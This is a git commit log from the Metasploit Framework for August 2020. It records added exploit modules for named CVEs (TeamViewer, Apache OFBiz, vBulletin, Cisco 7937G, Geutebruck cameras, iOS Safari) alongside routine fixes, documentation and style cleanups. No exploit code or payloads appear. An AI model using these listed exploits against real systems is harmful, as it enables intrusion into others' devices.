Brendan Coles 37a06756cc telpho10_credential_dump: Prevent traveral in untar 2020-08-21 15:30:55 +00:00
Metasploit 586f2443af automatic module_metadata_base.json update 2020-08-21 09:32:32 -05:00
Shelby Pace 5bcdaa50d6 Land #13984, add cisco 7937g dos module 2020-08-21 09:21:46 -05:00
Shelby Pace 1abe6ad32b msftidy, module name fixes 2020-08-21 09:11:37 -05:00
Shelby Pace e74a8f38e9 misaligned except statement 2020-08-21 09:01:45 -05:00
adfoster-r7 38d81106fe Land #14033, add cgranleese-r7 to the mailmap 2020-08-21 12:54:00 +01:00
cgranleese-r7 c70ab56c90 Add cgranleese-r7 to the mailmap 2020-08-21 11:18:25 +01:00
0x44434241 178bc3fe50 Serve the public trust. Protect the innocent. Tell noobs to delete necessary parameters. Uphold the law. 2020-08-21 08:47:05 +09:00
0x44434241 935403d937 Applying rubocop suggestions. 2020-08-21 08:35:20 +09:00
0x44434241 06cbf9a86c Applying suggested fixes. 2020-08-21 08:20:21 +09:00
Jeffrey Martin 9a64e3cd38 Land #13913, [GSoC] Specs for the SQLi library 2020-08-20 17:43:11 -05:00
h00die 4338a02bbd docs 2020-08-20 14:47:34 -04:00
h00die 26a83d5d5c rubocop 2020-08-20 14:31:18 -04:00
h00die c8a541c187 pre rubocop 2020-08-20 14:27:51 -04:00
Ege Balcı 138c951052 New PE loader mechanics, PE characteristics detection and several bug fixes 2020-08-20 20:35:32 +03:00
Metasploit 6e8e6676b2 Bump version of framework to 6.0.3 2020-08-20 12:02:45 -05:00
Metasploit 0a91db968d automatic module_metadata_base.json update 2020-08-20 11:26:53 -05:00
Shelby Pace 9e51507e71 Land #13870, add arista aux module, test, etc 2020-08-20 11:16:18 -05:00
Shelby Pace 86dbac3466 add a space to author field 2020-08-20 10:52:39 -05:00
h00die 3326d86db7 review comments 2020-08-20 10:26:13 -05:00
h00die 2e426ae573 no db compliant 2020-08-20 10:25:08 -05:00
h00die 7bbe84dd85 arista libs 2020-08-20 10:25:08 -05:00
h00die 88f8b7174c privilege is optional 2020-08-20 10:25:08 -05:00
h00die 14e0ebe7f6 handle md5 and plaintext passwords 2020-08-20 10:25:08 -05:00
h00die 43fabcad53 arista 2020-08-20 10:25:08 -05:00
0x44434241 02e6e3feda Adding documentation for auxiliary/scanner/http/squid_pivot_scanning. 2020-08-20 17:41:03 +09:00
Alan Foster 43ecb41575 Use and semantics when searching for text 2020-08-19 15:08:55 +01:00
Metasploit d300ddbb81 automatic module_metadata_base.json update 2020-08-19 08:57:28 -05:00
Christophe De La Fuente 11e0bd1375 Landing #14016, fix syntax errors in post/osx/gather/enum_osx 2020-08-19 15:28:33 +02:00
dwelch-r7 3d1eba2b22 Land #13998, Always use module cache for searching
Always use module cache for searching
2020-08-19 12:36:17 +01:00
adfoster-r7 7fd489c390 Land #13961, Adds rhost url support behind a feature flag 2020-08-19 12:34:57 +01:00
h00die 5f07bfe183 Land #14011, docs for aux http/brute_dirs 2020-08-19 07:27:35 -04:00
adfoster-r7 d488dab6f5 Land #13974, improve winrm authentication negotiation 2020-08-19 12:16:55 +01:00
dwelch-r7 897c51d1c2 Stop trying to authenticate when poking for headers 2020-08-19 11:18:52 +01:00
Metasploit 29196416ad automatic module_metadata_base.json update 2020-08-19 04:19:35 -05:00
Christophe De La Fuente f05f2b1846 Land #13989, TeamViewer URI SMB exploit (CVE-2020-13699) 2020-08-19 11:08:40 +02:00
Alan Foster f8523cb3e2 Add additional tests for edge cases 2020-08-19 09:37:03 +01:00
h00die 28338ace57 review comments 2020-08-18 13:45:28 -04:00
Tim W eabc59e5ed fix disown 2020-08-19 00:04:14 +08:00
Brendan Coles a765c1d994 post/osx/gather/enum_osx: Fix typos 2020-08-18 16:02:24 +00:00
Metasploit 9bd98f9942 automatic module_metadata_base.json update 2020-08-18 09:46:07 -05:00
Shelby Pace 6e2a7001a9 Land #13994, add Dlink Wifi manager rce 2020-08-18 09:34:19 -05:00
Shelby Pace d79ad5efca minor rubocop fix 2020-08-18 09:33:32 -05:00
Christophe De La Fuente b7d8fb1ee4 Land #14007, fix Msf::Post::File.file_local_write 2020-08-18 15:41:55 +02:00
dwelch-r7 e7061439ef Adds rhost url support behind a feature flag
Tidy up test

Return a string instead of a URI object

Code review comments

Rubcocop
2020-08-18 12:25:27 +01:00
Metasploit 3fcdbd9402 automatic module_metadata_base.json update 2020-08-18 06:10:27 -05:00
Christophe De La Fuente 114290cd94 Land #14006, update path in osx_enum to fix keychain download 2020-08-18 13:00:45 +02:00
Tim W dce83ad859 cleanup properly 2020-08-18 17:42:56 +08:00
Tim W 53b2db78a0 getroot -> make writable 2020-08-18 16:18:38 +08:00
Tim W e65e7e21f2 fix newlines and cleanup 2020-08-18 15:56:05 +08:00
Tim W 6fad6f8e8d fix check method 2020-08-18 15:56:05 +08:00
Tim W 0e4fcd7379 CVE-2020-9839 2020-08-18 15:56:01 +08:00
0x44434241 d50ed2eb37 Better handling of Squid HTTP response codes.
The previous version has a bug where HTTP codes that are not [200, 401, 404],
or the word "Zero" is not included in the response body(??), the valid open
port is not printed to the user. This patch fixes that and improves outut.

This commit improves the resilience of this module by looking at the HTTP
response header 'X-Squid-Error', which has static strings from an enum struct
documented here: http://www.squid-cache.org/Doc/code/err__type_8h.html

If the client receives an error from Squid that is not handled, the error type
will now also be printed for the user (eg: ERR_READ_TIMEOUT).

Previously, the module would also output (almost) every IP:PORT pair, even when
they are closed or forbidden by Squid ACL. This has been moved to be a verbose
option, so that non-verbose port-scanning prints a significantly shorter list
for human consumption.

As (among others) HTTP 3xx redirects were not previously displayed to users,
the redirect location is now also printed in the output. The server header is
printed for all open ports where available, and stored in the database.
2020-08-18 12:57:18 +09:00
debifrank 9c90741a79 Rename cisco_7937G_ssh_privesc.py to cisco_7937g_ssh_privesc.py 2020-08-17 20:26:01 -04:00
debifrank 97dd5e2239 Rename cisco_7937G_ssh_privesc.md to cisco_7937g_ssh_privesc.md 2020-08-17 20:25:33 -04:00
debifrank 92129415ad Rename cisco_7937G_DoS.md to cisco_7937g_dos.md 2020-08-17 20:25:02 -04:00
debifrank c19836b7d5 Rename cisco_7937G_DoS.py to cisco_7937g_dos.py 2020-08-17 20:24:34 -04:00
debifrank cfea0db83c Rename cve_2020_16139.py to cisco_7937g_dos_reboot.py 2020-08-17 20:24:17 -04:00
debifrank 3cc8e163e3 Update and rename cve-2020-16139.md to cisco_7937g_dos_reboot.md 2020-08-17 20:23:48 -04:00
debifrank f43443240b Update and rename cve-2020-16138.md to cisco_7937G_DoS.md 2020-08-17 20:22:24 -04:00
debifrank 9906c931a2 Rename cve_2020_16138.py to cisco_7937G_DoS.py 2020-08-17 20:21:33 -04:00
debifrank fc08076240 Update and rename cve_2020_16137.py to cisco_7937G_ssh_privesc.py 2020-08-17 20:20:35 -04:00
debifrank 57d0e318cb Update and rename cve-2020-16137.md to cisco_7937G_ssh_privesc.md 2020-08-17 20:19:47 -04:00
Niboucha Redouane 0a20a217dc Fix description of the vulnerability
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:06:46 +02:00
Niboucha Redouane aec83d54cd fix case of first character of sentence
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:06:18 +02:00
Niboucha Redouane 5487552afd Fix some ponctuation, and character case
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:05:58 +02:00
Niboucha Redouane df3107a99f fix typo: privileged instead of privilegied
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:05:16 +02:00
Niboucha Redouane 602865ef70 refactor if in check method
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:01:34 +02:00
Metasploit 482e146a6e automatic module_metadata_base.json update 2020-08-17 13:04:23 -05:00
Spencer McIntyre d8bb3aaed4 Land #14012, Remove no-op Nokogiri::XML pretty printing in exploit/linux/http/apache_ofbiz_deserialiation 2020-08-17 13:53:39 -04:00
William Vu de5f335618 Fix formatting 2020-08-17 11:53:39 -05:00
William Vu 0c34c2559e Remove no-op Nokogiri::XML pretty printing
ea1f3d60f1
2020-08-17 11:16:11 -05:00
Metasploit d579c2358b automatic module_metadata_base.json update 2020-08-17 09:33:59 -05:00
gwillcox-r7 27ae6c4edd Land #13986, Add CVE-2020-16205 exploit for Geutebruck G-CAM 2020-08-17 09:24:32 -05:00
Metasploit d222d4b243 automatic module_metadata_base.json update 2020-08-17 09:17:08 -05:00
gwillcox-r7 8f80d9b8b6 Minor updates to the documentation to reflect the fact that the username and password could be something other than root/admin 2020-08-17 09:12:02 -05:00
Spencer McIntyre c21c346549 Land #14000, Add Apache OFBiz XML-RPC Java deserialization (CVE-2020-9496) 2020-08-17 10:08:21 -04:00
Spencer McIntyre ea1f3d60f1 Adjust XML whitespace and add commands to the setup docs 2020-08-17 10:03:44 -04:00
seska451 1f95519bd8 Ran msftidy_docs.rb 2020-08-17 22:31:00 +09:30
seska451 12cbcc9729 docs for auxiliary/scanner/http/brute_dirs.rb 2020-08-17 22:11:56 +09:30
Brendan Coles 62a912d475 Msf::Post::File.file_local_write: Use Rex::FileUtils.clean_path(local_file_name) 2020-08-17 09:50:42 +00:00
Steve Baker 8eca964ced Update path in osx_enum to fix keychain download
Looks like an anchoring "/" has always been missing for the keychain download in enum_osx to function.
2020-08-16 22:50:03 -05:00
William Vu eda222434f Execute commands in a shell 2020-08-14 21:46:34 -05:00
William Vu 22cf22fe53 Fix ARCH_CMD payload
Currently, we're not invoking within a shell.
2020-08-14 21:46:34 -05:00
William Vu f151c511bc Explain what we're doing in the check 2020-08-14 21:46:34 -05:00
William Vu d3febe3284 Set SSL as a DefaultOption and update RPORT 2020-08-14 21:46:34 -05:00
William Vu 46b6368597 Add Apache OFBiz XML-RPC Java deserialization 2020-08-14 21:46:34 -05:00
Metasploit 437797d56f automatic module_metadata_base.json update 2020-08-14 21:35:24 -05:00
William Vu dd7cc7291a Land #14003, WritableDir fix for f5_bigip_tmui_rce 2020-08-14 21:23:53 -05:00
Pearce Barry db38cce8d6 Land #14002, Fix payloads not being encoded in exploits when BadChars contains whitespace 2020-08-14 21:19:44 -05:00
William Vu 4a8b64a12f Use WritableDir in execute_cmdstager, too 2020-08-14 21:07:08 -05:00
William Vu d1cdd2cd57 Fix encoding when BadChars contains whitespace 2020-08-14 19:57:09 -05:00
ddouhine 93fa66bfc5 Update geutebruck_testaction_exec.rb
And a fix for the fix ;)
I guess now everything will work as intended !
2020-08-15 00:56:53 +02:00
gwillcox-r7 1da359ee01 Merge with last fix. This fix just fixes a issue with a method call as I tried calling the nonexistant method .true? 2020-08-14 17:49:02 -05:00
Spencer McIntyre 2c8b01dbec Land #13951, Update payload_generator.rb to properly check if payload_module is nil 2020-08-14 18:43:31 -04:00
gwillcox-r7 896c8aacae Add in AutoCheck mixin so that we ensure targets are vulnerable before attempting to exploit them. 2020-08-14 17:27:39 -05:00
gwillcox-r7 898f94320c Add in fixes to check method so that the code will return the correct status if the connection fails 2020-08-14 17:18:31 -05:00
ddouhine f3fdcf4343 Update geutebruck_testaction_exec.rb
Oops sorry, don't know what this "return true" was doing there.
2020-08-14 23:56:21 +02:00
debifrank 82857c0a36 Update cve_2020_16137.py 2020-08-14 17:47:04 -04:00
debifrank b65c49aa25 Update cve_2020_16137.py 2020-08-14 17:43:38 -04:00
debifrank 7eba463769 Update cve_2020_16138.py 2020-08-14 17:39:24 -04:00
debifrank 1e50ca7d30 Update cve_2020_16139.py 2020-08-14 17:36:43 -04:00
gwillcox-r7 9baeca3c2c Fix code to check if payload_module is blank, as this is the true fix here 2020-08-14 16:23:15 -05:00
ddouhine f726967ba7 Update geutebruck_testaction_exec.rb
with the updated check using `Gem::Version`
2020-08-14 23:17:26 +02:00
ddouhine 5e7c821d6d Update geutebruck_testaction_exec.md 2020-08-14 23:15:12 +02:00
Jeffrey Martin d3c04b13dc Land #13968, Add a method for SQL injections where query output is not needed, and read_from_file support for MySQLi 2020-08-14 15:44:53 -05:00
debifrank 9d3da31411 Update cve_2020_16139.py
catch unintended request exceptions
2020-08-14 16:18:47 -04:00
Metasploit ff10ae7b5b automatic module_metadata_base.json update 2020-08-14 15:12:06 -05:00
h00die cd41d9c3c9 Land #13911, iphone 4 on ios 7.1.2 safari jit for root 2020-08-14 16:01:14 -04:00
Metasploit 34570fbda4 automatic module_metadata_base.json update 2020-08-14 14:21:13 -05:00
William Vu 992946b565 Land #13999, backported miscellaneous module fixes 2020-08-14 14:09:50 -05:00
debifrank 0608025e26 Add files via upload 2020-08-14 14:45:54 -04:00
debifrank b608f7fed7 Delete CVE-2020-16137.py 2020-08-14 14:45:36 -04:00
debifrank 0cfcaa3aa0 Update and rename CVE-2020-16137.md to cve-2020-16137.md 2020-08-14 14:45:10 -04:00
William Vu a6f7c0c0de Backport miscellaneous fixes to my modules 2020-08-14 13:40:23 -05:00
debifrank 9d08b29358 Rename CVE-2020-16139.md to cve-2020-16139.md 2020-08-14 14:20:49 -04:00
debifrank c730eb0021 Rename CVE-2020-16138.md to cve-2020-16138.md 2020-08-14 14:20:27 -04:00
Alan Foster baa33df45d Always use module cache for searching 2020-08-14 19:14:54 +01:00
debifrank 921e3142c5 Add files via upload 2020-08-14 12:48:08 -04:00
debifrank ae065530f1 Delete CVE-2020-16138.py 2020-08-14 12:47:55 -04:00
debifrank 7e6ef0d713 Update CVE-2020-16138.md 2020-08-14 12:46:37 -04:00
debifrank e001839dcb Update CVE-2020-16138.md 2020-08-14 12:45:38 -04:00
debifrank 7d125c9741 Add files via upload 2020-08-14 12:16:52 -04:00
debifrank ffa23ba850 Delete CVE-2020-16139.py 2020-08-14 12:16:22 -04:00
debifrank 0e0bdc4f98 Update CVE-2020-16139.md 2020-08-14 12:15:53 -04:00
Metasploit 2e887a8d95 automatic module_metadata_base.json update 2020-08-14 10:17:06 -05:00
gwillcox-r7 87dc75b5ee Land #13997, Update VBulletin module with correct CVE 2020-08-14 10:05:58 -05:00
debifrank b4689dfa2d Update CVE-2020-16139.md
WIP
2020-08-14 10:12:39 -04:00
Tod Beardsley f401f48138 Update vbulletin module with correct CVE
Apparently someone snarfed the CVE for this out from under me. Since they were faster
to publish, we should use that number instead of the one out of our block.
2020-08-14 08:25:57 -05:00
dwelch-r7 a47e4d42b5 Code review comments 2020-08-14 12:28:38 +01:00
h00die 82c25ebd88 add docs to safari jit 2020-08-14 14:14:08 +07:00
Michael-ZecOps 5877c79538 Force stack alignment 2020-08-14 01:16:20 +03:00
gwillcox-r7 0dc53c46d4 Apply Rubocop fixes I forgot about and update the module description to add in missing information about affected parameters 2020-08-13 15:23:09 -05:00
gwillcox-r7 c59b3835f9 Fix up module description to have better sentence structure and English and to also include the actual versions of the products that were affected in addition to the firmware versions. This prevents people from having to read the documentation to find affected targets 2020-08-13 15:18:10 -05:00
gwillcox-r7 dc21773f10 Apply updates to make the English a bit neater r.e affected versions. Also applied updates to make the markdown have bullet points so it displays better. Finally modified up the module description to explain the actual issue a bit more, but it might still need work 2020-08-13 15:13:55 -05:00
gwillcox-r7 3c70f37dbe Update exploit ranking to reflect the fact that this is a CMD Injection vulnerability with no chance of crashing the host 2020-08-13 14:40:33 -05:00
ddouhine 959689d5de Update geutebruck_testaction_exec.rb
Fixed rubocop offenses / msftidy warnings and added @bcoles enhancements.
2020-08-13 14:29:31 -05:00
ddouhine 5f6a0746a6 Update modules/exploits/linux/http/geutebruck_testaction_exec.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-08-13 14:29:30 -05:00
ddouhine a69d941a72 Update modules/exploits/linux/http/geutebruck_testaction_exec.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-08-13 14:29:30 -05:00
ddouhine 4ceb542fac Update modules/exploits/linux/http/geutebruck_testaction_exec.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-08-13 14:29:30 -05:00
ddouhine 42a2a77a7e Update geutebruck_testaction_exec.md
or now... (forgot the msftidy_docs just before)
2020-08-13 14:29:29 -05:00
ddouhine e4f760691e Update geutebruck_testaction_exec.md
it should be better now :)
2020-08-13 14:29:29 -05:00
ddouhine a14a2fe8d2 Add documentation for Geutebruck G-CAM exploit 2020-08-13 14:29:28 -05:00
ddouhine a5e25f5a42 Add exploit for Geutebruck G-CAM 2020-08-13 14:29:28 -05:00
gwillcox-r7 c79f293e52 Land #13846, Add support for import Nmap vulners script output 2020-08-13 12:21:31 -05:00
Metasploit eb64d47b31 Bump version of framework to 6.0.2 2020-08-13 12:04:11 -05:00
h00die 55d1efc18b missed one 2020-08-13 10:45:55 -04:00
h00die c9f39def13 review comment 2020-08-13 10:44:57 -04:00
debifrank 1e244ddaec Add files via upload
Linted with msftidy_docs.rb
2020-08-13 09:57:17 -04:00
debifrank 8fe7417d1b Delete CVE-2020-16137.md
Linting
2020-08-13 09:56:58 -04:00
debifrank b461f4ede8 Add files via upload
Linted with msftidy_docs.rb
2020-08-13 09:56:30 -04:00
debifrank 45ef9f9324 Delete CVE-2020-16138.md
Linting
2020-08-13 09:56:08 -04:00
debifrank 27d889a599 Add files via upload
Linted with msftidy_docs.rb
2020-08-13 09:55:37 -04:00
debifrank f6581b9518 Delete CVE-2020-16139.md
Linting
2020-08-13 09:55:14 -04:00
debifrank d1afe60262 Add files via upload
Linted with autopep8
2020-08-13 09:52:21 -04:00
debifrank dada2abaad Delete CVE-2020-16139.py
Linting
2020-08-13 09:52:04 -04:00
debifrank a21907fcc6 Add files via upload
Linted with autopep8
2020-08-13 09:51:24 -04:00
Niboucha Redouane 1a468fa210 remove unneeded include, left from an attempt to execute native payloads 2020-08-13 15:51:09 +02:00
debifrank 4434e37a09 Delete CVE-2020-16138.py
linting
2020-08-13 09:51:03 -04:00
debifrank 0a025123e9 Add files via upload
Linted with autopep8
2020-08-13 09:50:33 -04:00
debifrank 2a739ed5eb Delete CVE-2020-16137.py
Linting
2020-08-13 09:50:09 -04:00
Niboucha Redouane 3df276230a write whole FTP link, looks like some browsers dropped FTP support, and markdown does not render it as a link 2020-08-13 15:19:33 +02:00
Niboucha Redouane 66d3b1cd59 Add exploit for CVE-2019-13372 2020-08-13 15:07:11 +02:00
Ege Balcı b95c708eec Merge pull request #2 from smcintyre-r7/pr/13980/fixes
Validate the PE file early on to raise errors
2020-08-13 09:09:37 +03:00
h00die 16c95c4e85 teamviewer exploit 2020-08-12 19:59:00 -04:00
gwillcox-r7 2305da2638 Land #13969, Fix stall due to bad logic within scanner.rb 2020-08-12 16:57:01 -05:00
Spencer McIntyre cc21e5e50d Validate the PE file early on to raise errors 2020-08-12 17:32:12 -04:00
gwillcox-r7 9f17dda98c Land #13988, Ignore tests/specs when reloading files 2020-08-12 14:18:59 -05:00
Metasploit 788d944e66 automatic module_metadata_base.json update 2020-08-12 13:31:02 -05:00
gwillcox-r7 bdad038e70 Land #13959, Add a login scanner for Jupyter Notebooks 2020-08-12 13:21:21 -05:00
gwillcox-r7 da39015941 Ninja commit edits to documentation to explain how to fix some setup issues that may occur 2020-08-12 13:20:31 -05:00
Metasploit 480bd6a12d automatic module_metadata_base.json update 2020-08-12 13:11:25 -05:00
Spencer McIntyre 0fea9ab5b8 Land #13970, Vbulletin widget template rce 2020-08-12 14:02:47 -04:00
Spencer McIntyre 24b1235cf7 Whitespace adjustment and remove superfluous return statements 2020-08-12 13:59:25 -04:00
bwatters af62fb48fa Land #13965, Networking Scripts w/o DB
Merge branch 'land-13965' into upstream-master
2020-08-12 12:52:01 -05:00
debifrank 796041ddf4 Update CVE-2020-16137.md 2020-08-12 12:37:08 -04:00
debifrank b5fb4800af Update CVE-2020-16138.md 2020-08-12 12:36:25 -04:00
debifrank b65f87e0c1 Update CVE-2020-16139.md 2020-08-12 12:35:55 -04:00
debifrank cc7dd2179a Add files via upload
Documentation for CVE-2020-16139
2020-08-12 12:34:43 -04:00
debifrank 271daa67d8 Add files via upload
Documentation for CVE-2020-16138
2020-08-12 12:34:01 -04:00
debifrank dcce728012 Add files via upload
Documentation for CVE-2020-16137
2020-08-12 12:33:19 -04:00
Amir Etemadieh 0b1efd0fe9 Update modules/exploits/multi/http/vbulletin_widget_template_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2020-08-12 09:33:16 -07:00
Ege Balcı 01c1a65f85 Merge pull request #1 from smcintyre-r7/pr/13980/fixes
Fix the Metasm architecture issue
2020-08-12 19:12:25 +03:00
Alan Foster 5970984563 Ignore tests when reloading files 2020-08-12 17:10:08 +01:00
debifrank 884b0ec897 Update CVE-2020-16139.py
Removed jest, included more useful information
2020-08-12 11:25:32 -04:00
debifrank d43e071a7e Update CVE-2020-16137.py
Removed jest and included more useful information.
2020-08-12 11:24:20 -04:00
Spencer McIntyre e65fa7eb26 Fix the Metasm architecture issue 2020-08-12 10:43:51 -04:00
Ege Balcı 65643ff40c Reflective PE Payloads Added 2020-08-12 14:38:56 +03:00
Zenofex e334217636 Fix from bad merge for vbulletin_widget_template_rce module. 2020-08-11 19:09:14 -05:00
Zenofex 8db34ea91b vBulletin_widget_template_rce merge 2020-08-11 18:40:09 -05:00
Zenofex 3ef01c468f Ran vBulletin_widget_template_rce through rubocop, cleaned up results. 2020-08-11 18:38:41 -05:00
Spencer McIntyre a7cbdddbb1 Update a bunch of documentation for the credential collection lib 2020-08-11 16:49:41 -04:00
Tod Beardsley 19618d9bd2 Add CVE-2020-7373 in the references 2020-08-11 14:22:11 -05:00
gwillcox-r7 2007583c29 Land #13238, Replace exit calls in bind_named_pipe handler with Thread.exit calls 2020-08-11 14:09:39 -05:00
gwillcox-r7 0882b62cf6 Replace return with Thread.exit call and interrupt_wait_for_session 2020-08-11 14:08:26 -05:00
Metasploit 394d54fae3 automatic module_metadata_base.json update 2020-08-11 13:58:51 -05:00
gwillcox-r7 4cbf4d9301 Land #13975, Fixes for bug #13956 2020-08-11 13:48:17 -05:00
Spencer McIntyre e21cf15854 Land #13778, [GSOC 2020] - EV1 - Conditionality system for module options 2020-08-11 13:31:12 -04:00
Spencer McIntyre b55f5f12aa Adjust some whitespace and comments for option conditions 2020-08-11 13:30:27 -04:00
gwillcox-r7 c35950c2c5 Update one of the messages so we can identify it easier when we review the output of this module, and add in @bcoles's Errno:ECONNRESET recommendation 2020-08-11 11:59:10 -05:00
debifrank a77931c479 Update CVE-2020-16139.py 2020-08-11 10:51:58 -04:00
debifrank e5e8c19575 Update CVE-2020-16137.py 2020-08-11 10:49:55 -04:00
debifrank 70fc0b3375 Update CVE-2020-16138.py 2020-08-11 10:41:58 -04:00
debifrank a17d29b6a2 CVE-2020-16138
Targets the Cisco Unified IP Conference Station 7937G vulnerability CVE-2020-16138 causing a DoS condition.
2020-08-11 10:40:15 -04:00
debifrank 78a7e8ae96 Update CVE-2020-16139.py 2020-08-11 10:32:37 -04:00
debifrank 18fdbfd917 Update CVE-2020-16139.py 2020-08-11 10:30:29 -04:00
debifrank 16a00ea338 Cisco 7937G DoS Reset Attack
Python module for metasploit that targets the Cisco 7937G Conference Station and vulnerability CVE-2020-16139
2020-08-11 10:29:28 -04:00
debifrank 599bfa00be Update CVE-2020-16137.py 2020-08-11 09:50:17 -04:00
debifrank e193c33ec3 SSH Exploit against the Cisco 7937G
Coincides with CVE-2020-16137
2020-08-11 09:46:01 -04:00
adfoster-r7 d472ec8dac Land #13877, add a stale bot in debug-only mode for dealing with stale issues 2020-08-11 10:50:52 +01:00
Michael-ZecOps f043e4b9b4 More space optimization while at it 2020-08-11 00:45:24 +03:00
Michael-ZecOps 10a0d43da4 Fixed segment_injector.rb x64 shellcode 2020-08-11 00:16:57 +03:00
Spencer McIntyre 3a6280e556 Add the missing set RHOSTS to the documentation example output 2020-08-10 15:25:01 -04:00
Spencer McIntyre 7ffbecefa6 The HttpProxyType option is not support for Python so deregister it 2020-08-10 14:52:18 -04:00
Spencer McIntyre 48e0610bae Add authentication support to the Python Meterpreter 2020-08-10 13:24:55 -04:00
Robin 92e0522524 Fixes for bug #13956 2020-08-10 16:31:11 +01:00
dwelch-r7 f761743f0f use default of send_recv which does authentication 2020-08-10 16:25:59 +01:00
dwelch-r7 4d40c6224b undo hackiness, apply different less hacky stuff 2020-08-10 15:50:53 +01:00
Spencer McIntyre c57391501a Fix typos and clarify documentation for jupyter_login 2020-08-10 09:47:59 -04:00
dwelch-r7 efb3fe8b43 Add clarifying comments 2020-08-10 02:14:37 +01:00
dwelch-r7 ef07ac9b54 Add workaround for winrm login modules 2020-08-10 02:03:13 +01:00
Zenofex 0dab52ef35 A few last changes from msftidy and msftidy_docs. 2020-08-09 18:25:13 -05:00
HynekPetrak 11a3ff3e21 space at eol 2020-08-09 23:07:41 +00:00
HynekPetrak 59cfb3cc3a fix stall in scanner for modules with non equal duration 2020-08-09 23:05:50 +00:00
HynekPetrak 01fd457583 fix stall in scanner for modules with non equal duration 2020-08-09 23:03:46 +00:00
Zenofex 661e2a680b Initial push of exploit and module for vbulletin_widget_template_rce vulnerability. 2020-08-09 17:38:52 -05:00
Niboucha Redouane 812a0b78e2 Fix write_to_file, and add read_from_file support for MySQL 2020-08-09 19:23:22 +02:00
María Belén Tualombo Chimbo 11913f3b1e Old file deleted and reference updated 2020-08-09 12:37:42 -04:00
h00die 97a700fafc fix #13962 2020-08-09 09:41:40 -04:00
cn-kali-team 0a3d3074a5 remove dingtalk code 2020-08-08 22:08:20 +08:00
cn-kali-team 7f63a5be06 add dingtalk_notifier plugins 2020-08-08 22:08:02 +08:00
Niboucha Redouane e4b77616fa Minor formatting (rubocop -a) 2020-08-08 03:49:29 +02:00
Niboucha Redouane 1f17b07746 use Timecop, separate query_proc from sqli_obj, and address other issues in the specs 2020-08-08 03:30:12 +02:00
Metasploit 1663bf3184 automatic module_metadata_base.json update 2020-08-07 15:24:45 -05:00
Spencer McIntyre 07ab8b294f Land #13957, allow dns server on different port 2020-08-07 16:15:17 -04:00
Metasploit 8cb1821717 automatic module_metadata_base.json update 2020-08-07 14:58:15 -05:00
bwatters 231ad83773 Land #13860,Mikrotik Processing
Merge branch 'land-13860' into upstream-master
2020-08-07 14:48:22 -05:00
Metasploit 2f9598e89a automatic module_metadata_base.json update 2020-08-07 11:58:40 -05:00
Spencer McIntyre 178ec83edc Land #13958, Dyn dns update fix 2020-08-07 12:48:45 -04:00
dwelch-r7 0d1f4c1d2e Land #13833, Add WrappedTable support with feature flag integration
Add WrappedTable support with feature flag integration
2020-08-07 17:18:09 +01:00
Alan Foster a1d7bb62a9 Add feature configuration persistence 2020-08-07 16:42:57 +01:00
Alan Foster d417f43b8d Add WrappedTable support with feature flag integration 2020-08-07 16:42:54 +01:00
Spencer McIntyre daf38ceb62 Land #13953, Skip CNAME records in DNS SRV parsing - Fix #13952 2020-08-07 09:41:24 -04:00
Spencer McIntyre 5e5922a1c4 Fix an overly indented block in credential_collection.rb 2020-08-07 09:02:32 -04:00
Robin Wood 0d6dcb6dc8 Update dyn_dns_update.rb
removed commit from other PR
2020-08-07 12:47:39 +01:00
Robin Wood 9ba8e3a803 Update dyn_dns_update.rb
Removed the deregistering of RPORT
2020-08-07 12:46:20 +01:00
Robin cc1614be72 checking reply when asking if record already exists 2020-08-07 12:25:13 +01:00
Robin 51f2261921 allow dns server on different port 2020-08-07 11:39:58 +01:00
Brendan Coles 2955a2f6ac Skip CNAME records in DNS SRV parsing - Fix #13952 2020-08-07 08:45:07 +00:00
gwillcox-r7 80889b2b86 Land #13949, Fix casting issue with the update mode in DBManager::Note's report_note function 2020-08-06 14:36:57 -05:00
gwillcox-r7 a8e77217b5 Land #13945, Updates for PsExec documentation 2020-08-06 12:34:16 -05:00
gwillcox-r7 7797a52bd2 Ninja edit for msftidy_docs.rb compliance purposes 2020-08-06 12:33:22 -05:00
Metasploit 7049c1aaf6 Bump version of framework to 6.0.1 2020-08-06 12:05:29 -05:00
Christophe De La Fuente 5b51c338fa Make sure mode is a symbol 2020-08-06 19:00:39 +02:00
Metasploit a0e1de9805 automatic module_metadata_base.json update 2020-08-06 11:35:09 -05:00
gwillcox-r7 d2b1d97b62 Land #13940, Compliance and Typo Edits for baldr_upload_exec 2020-08-06 11:25:31 -05:00
gwillcox-r7 2ca508c08e Further edits for RuboCop and msftidy_docs.rb compliance 2020-08-06 11:18:39 -05:00
gwillcox-r7 5c6530d9e5 Update module description and documentation to have a better description of what is going on and to also fix further copies of the typos that were pointed out. 2020-08-06 10:50:47 -05:00
Metasploit c49234fc48 automatic module_metadata_base.json update 2020-08-06 10:41:24 -05:00
Spencer McIntyre 06702abec0 Update the documentaiton for PsExec 2020-08-06 11:36:22 -04:00
Jeffrey Martin 35017886b8 Land #13935, Preliminary Version 6 2020-08-06 10:19:34 -05:00
Metasploit dacbc26c91 automatic module_metadata_base.json update 2020-08-06 08:56:47 -05:00
gwillcox-r7 63ca46bc0c Land #13844, Add Linux Container Enumeration Module 2020-08-06 08:46:17 -05:00
stealthcopter 2cb1eb9fb3 rubocop changes 2020-08-06 09:31:17 +01:00
gwillcox-r7 0e1ae86511 More RuboCop fixes... 2020-08-05 21:14:24 -05:00
gwillcox-r7 62d8c01899 Update documentation with newer output and fix some typos 2020-08-05 20:49:02 -05:00
gwillcox-r7 88e96bab22 Add in support so that if a command is specified, we store its results for the host in the loot. 2020-08-05 20:47:06 -05:00
gwillcox-r7 283aa6156c Fix a small typo on my side 2020-08-05 20:26:11 -05:00
gwillcox-r7 822ad64c62 Given that the current code skips the command execution part if a command is not supplied, there is no need to supply a default command. 2020-08-05 20:18:10 -05:00
gwillcox-r7 96215a586d Fix up code to appropriately handle cases where container_execute, list_running_containers_id, and list_containers might fail due to an invalid container type 2020-08-05 19:40:22 -05:00
